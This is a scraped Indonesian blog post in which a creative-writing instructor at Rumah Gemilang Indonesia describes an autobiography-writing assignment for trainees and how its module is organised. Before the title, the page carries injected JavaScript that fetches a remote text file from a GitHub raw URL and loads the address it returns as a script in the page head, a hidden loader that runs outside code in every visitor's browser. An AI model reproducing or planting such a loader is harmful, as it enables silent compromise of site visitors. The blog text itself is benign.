;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Belajar Menulis “Otobiografi” – Rumah Gemilang Indonesia

Belajar Menulis “Otobiografi”

Belajar Menulis “Otobiografi”

Di Rumah Gemilang Indonesia, setiap peserta diklat wajib mengikuti materi diklat “Menulis Kreatif” yang saya ampu. Tujuannya, mengasah kemampuan mengingat peristiwa yang telah lalu dan menuangkannya ke dalam tulisan. Saya membebaskan apakah peserta diklat mengerjakan tugas tersebut menggunakan komputer atau cukup ditulis tangan di buku tulis yang sudah disiapkan.

Tips menulis otobiografi ini ada di modul Menulis Kreatif bab ke-9. Sehingga diharapkan seluruh peserta diklat sudah bisa mengaplikasikan ilmunya dengan baik dari hasil belajar di bab-bab sebelumnya. Sebenarnya modul materi diklat Menulis Kreatif keseluruhannya terdiri dari 12 bab. Namun, ada modul yang tidak dipelajari di kelas tertentu namun dipelajari di kelas lainnya. Sehingga untuk mengefisienkan pencetakan modul, cukup dalam satu modul terdiri dari 12 bab walau di kelas tertentu ada bab yang tidak dipelajari namun bisa dijadikan sebagai bahan bacaan untuk pengetahuan baru. Bab 6 (Memberi Teks Pada Foto Jurnalistik) dan Bab 11 (Tips Menulis Skenario), hanya diberikan di Kelas Fotografi/Videografi. Bab 12, yakni Pengenalan Internet hanya dipelajari di Kelas Tatabusana dan Kelas Teknik Sepeda Motor. Sebab, keseharian peserta diklat di kedua kelas tersebut tidak menggunakan komputer, apalagi internet. Maka, mereka perlu belajar menggunakan komputer dan pengenalan internet walau cuma sekali selama belajar di RGI.

Oya, meski hanya dibatasi minimal 8 halaman untuk tugas menulis otobiografi ini, namun banyak peserta diklat yang semangat (atau bernafsu?) dengan cara menulis lebih dari 8 halaman. Beragam sih, ada yang 10 halaman, 20, 30, bahkan di atas 40 halaman juga ada. Tergantung semangat dan kreativitas mereka dalam menggali data sebagai bahan penulisan otobiografi.

Membaca kisah-kisah mereka dalam otobiografinya membuat saya sering terharu, bangga, dan juga bahagia. Betapa mereka ada yang awalnya tidak bisa menulis lalu belajar dan akhirnya cukup mahir menulis. Namun, dengan catatan lho, ya. Ini murni saya menilainya dari cara mereka menuangkan gagasan. Runut dan enak dibaca. Sebab, jika menggunakan ukuran penulisan ejaan dan tanda baca, sepertinya berat, susah lulusnya. Hehe…

Semoga tugas penulisan otobiografi menjadi bagian penting dalam mengasah keterampilan menulis para peserta diklat Rumah Gemilang Indonesia. Tetap semangat!

Salam,

O. Solihin

Instruktur Menulis Kreatif

 

No Comments

Add your comment